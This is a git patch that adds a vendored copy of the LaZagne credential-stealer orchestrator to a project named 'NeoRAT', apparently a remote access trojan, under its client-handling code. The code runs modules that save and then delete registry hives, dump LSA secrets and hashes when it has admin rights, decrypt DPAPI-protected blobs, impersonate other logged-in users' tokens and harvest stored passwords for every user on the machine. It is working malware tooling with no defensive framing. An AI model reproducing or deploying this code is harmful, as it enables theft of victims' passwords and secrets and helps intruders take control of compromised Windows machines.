From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- foreign/client_handling/lazagne/config/run.py | 261 ++++++++++++++++++++++++++ 1 file changed, 261 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/run.py (limited to 'foreign/client_handling/lazagne/config/run.py') diff --git a/foreign/client_handling/lazagne/config/run.py b/foreign/client_handling/lazagne/config/run.py new file mode 100644 index 0000000..a062fa3 --- /dev/null +++ b/foreign/client_handling/lazagne/config/run.py @@ -0,0 +1,261 @@ +# -*- coding: utf-8 -*- +# !/usr/bin/python +import ctypes +import logging +import sys +import traceback + +from foreign.client_handling.lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle +from foreign.client_handling.lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi +from foreign.client_handling.lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved +from foreign.client_handling.lazagne.config.execute_cmd import save_hives, delete_hives +from foreign.client_handling.lazagne.config.write_output import print_debug, StandardOutput +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.manage_modules import get_categories, get_modules + +# Useful for the Pupy project +# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object +sys.setrecursionlimit(10000) + + +def create_module_dic(): + if constant.modules_dic: + return constant.modules_dic + + modules = {} + + # Define a dictionary for all modules + for category in get_categories(): + modules[category] = {} + + # Add all modules to the dictionary + for m in get_modules(): + modules[m.category][m.options['dest']] = m + + constant.modules_dic = modules + return modules + + +def run_module(title, module): + """ + Run only one module + """ + try: + constant.st.title_info(title.capitalize()) # print title + pwd_found = module.run() # run the module + constant.st.print_output(title.capitalize(), pwd_found) # print the results + + # Return value - not used but needed + yield True, title.capitalize(), pwd_found + except Exception: + error_message = traceback.format_exc() + print_debug('DEBUG', error_message) + yield False, title.capitalize(), error_message + + +def run_modules(module, subcategories={}, system_module=False): + """ + Run modules inside a category (could be one or multiple modules) + """ + modules_to_launch = [] + + # Launch only a specific module + for i in subcategories: + if subcategories[i] and i in module: + modules_to_launch.append(i) + + # Launch all modules + if not modules_to_launch: + modules_to_launch = module + + for i in modules_to_launch: + # Only current user could access to HKCU registry or use some API that only can be run from the user environment + if not constant.is_current_user: + if module[i].registry_used or module[i].only_from_current_user: + continue + + if system_module ^ module[i].system_module: + continue + + if module[i].winapi_used: + constant.module_to_exec_at_end['winapi'].append({ + 'title': i, + 'module': module[i], + }) + continue + + if module[i].dpapi_used: + constant.module_to_exec_at_end['dpapi'].append({ + 'title': i, + 'module': module[i], + }) + continue + + # Run module + for m in run_module(title=i, module=module[i]): + yield m + + +def run_category(category_selected, subcategories={}, system_module=False): + constant.module_to_exec_at_end = { + "winapi": [], + "dpapi": [], + } + modules = create_module_dic() + categories = [category_selected] if category_selected != 'all' else get_categories() + for category in categories: + for r in run_modules(modules[category], subcategories, system_module): + yield r + + if not system_module: + if constant.is_current_user: + # Modules using Windows API (CryptUnprotectData) can be called from the current session + for module in constant.module_to_exec_at_end.get('winapi', []): + for m in run_module(title=module['title'], module=module['module']): + yield m + + if constant.module_to_exec_at_end.get('dpapi', []): + if are_masterkeys_retrieved(): + for module in constant.module_to_exec_at_end.get('dpapi', []): + for m in run_module(title=module['title'], module=module['module']): + yield m + else: + if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []): + if are_masterkeys_retrieved(): + # Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData + for i in ['winapi', 'dpapi']: + for module in constant.module_to_exec_at_end.get(i, []): + for m in run_module(title=module['title'], module=module['module']): + yield m + + +def run_lazagne(category_selected='all', subcategories={}, password=None): + """ + Execution Workflow: + - If admin: + - Execute system modules to retrieve LSA Secrets and user passwords if possible + - These secret could be useful for further decryption (e.g Wifi) + - If a process of another user is launched try to impersone it (impersonating his token) + - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques + - From our user: + - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) + - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.) + - If the user password or the dpapi hash is found: + - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.) + - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege: + - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) + - If the user password or the dpapi hash is found: + - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.) + + To resume: + - Some passwords (e.g Firefox) could be retrieved from any other user + - CryptUnprotectData can be called only from our current session + - DPAPI Blob can decrypted only if we have the password or the hash of the user + """ + + # Useful if this function is called from another tool + if password: + constant.user_password = password + + if not constant.st: + constant.st = StandardOutput() + + # --------- Execute System modules --------- + if ctypes.windll.shell32.IsUserAnAdmin() != 0: + if save_hives(): + # System modules (hashdump, lsa secrets, etc.) + constant.username = 'SYSTEM' + constant.finalResults = {'User': constant.username} + constant.system_dpapi = SystemDpapi() + + if logging.getLogger().isEnabledFor(logging.INFO): + constant.st.print_user(constant.username) + yield 'User', constant.username + + try: + for r in run_category(category_selected, subcategories, system_module=True): + yield r + except: # Catch all kind of exceptions + pass + finally: + delete_hives() + + constant.stdout_result.append(constant.finalResults) + + # ------ Part used for user impersonation ------ + + constant.is_current_user = True + constant.username = get_username_winapi() + if not constant.username.endswith('$'): + + constant.finalResults = {'User': constant.username} + constant.st.print_user(constant.username) + yield 'User', constant.username + + set_env_variables(user=constant.username) + + for r in run_category(category_selected, subcategories): + yield r + constant.stdout_result.append(constant.finalResults) + + # Check if admin to impersonate + if ctypes.windll.shell32.IsUserAnAdmin() != 0: + + # --------- Impersonation using tokens --------- + + sids = list_sids() + impersonate_users = {} + impersonated_user = [constant.username] + + for sid in sids: + # Not save the current user's SIDs and not impersonate system user + if constant.username != sid[3] and sid[2] != 'S-1-5-18': + impersonate_users.setdefault(sid[3], []).append(sid[2]) + + for user in impersonate_users: + if 'service' in user.lower().strip(): + continue + + # Do not impersonate the same user twice + if user in impersonated_user: + continue + + constant.st.print_user(user) + yield 'User', user + + constant.finalResults = {'User': user} + for sid in impersonate_users[user]: + try: + set_env_variables(user, to_impersonate=True) + if impersonate_sid_long_handle(sid, close=False): + impersonated_user.append(user) + + # Launch module wanted + for r in run_category(category_selected, subcategories): + yield r + + rev2self() + constant.stdout_result.append(constant.finalResults) + break + except Exception: + print_debug('DEBUG', traceback.format_exc()) + + # --------- Impersonation browsing file system --------- + + constant.is_current_user = False + # Ready to check for all users remaining + all_users = get_user_list_on_filesystem(impersonated_user=[constant.username]) + for user in all_users: + # Fix value by default for user environment (APPDATA and USERPROFILE) + set_env_variables(user, to_impersonate=True) + constant.st.print_user(user) + + constant.username = user + constant.finalResults = {'User': user} + yield 'User', user + + # Retrieve passwords that need high privileges + for r in run_category(category_selected, subcategories): + yield r + + constant.stdout_result.append(constant.finalResults) -- cgit v1.2.3